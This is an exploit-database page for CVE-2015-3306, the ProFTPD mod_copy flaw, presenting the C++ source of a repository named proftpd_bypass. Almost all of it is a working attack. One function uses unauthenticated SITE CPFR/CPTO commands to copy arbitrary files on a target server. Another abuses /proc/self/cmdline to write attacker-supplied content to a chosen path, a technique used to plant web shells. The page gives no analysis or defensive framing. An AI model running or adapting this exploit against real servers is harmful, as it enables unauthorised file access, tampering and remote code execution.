Exploit databaseDownload repository ZIP
GH-e6cab01b1b0717761b5a2faeb2c14b9a
jptr218/proftpd_bypass
Sources for CVE-2015-3306
24 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
jptr218/proftpd_bypassRevision 30f26d8d10e5
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/attack.cpp
C++ · 1,150 bytes#include "hdr.h"
int local(SOCKET sock, string lpath, string rpath) {
char buf[100];
recv(sock, buf, 100, NULL);
send(sock, ("site cpfr " + lpath + "\n").c_str(), 11 + lpath.length(), NULL);
recv(sock, buf, 100, NULL);
ZeroMemory(buf, 100);
send(sock, ("site cpto " + rpath + "\n").c_str(), 11 + rpath.length(), NULL);
recv(sock, buf, 100, NULL);
return (string(buf).find("250") != -1);
}
int remote(SOCKET sock, string lpath, string rpath) {
ifstream f(lpath);
if (!f.is_open()) {
return 2;
}
string contents = "";
while (!f.eof()) {
f >> contents;
}
char buf[100];
recv(sock, buf, 100, NULL);
send(sock, "site cpfr /proc/self/cmdline\n", 29, NULL);
recv(sock, buf, 100, NULL);
send(sock, ("site cpto " + contents + "\n").c_str(), 11 + contents.length(), NULL);
recv(sock, buf, 100, NULL);
send(sock, ("site cpfr " + contents + "\n").c_str(), 11 + contents.length(), NULL);
recv(sock, buf, 100, NULL);
ZeroMemory(buf, 100);
send(sock, ("site cpto " + rpath + "\n").c_str(), 11 + rpath.length(), NULL);
recv(sock, buf, 100, NULL);
return (string(buf).find("250") != -1);
}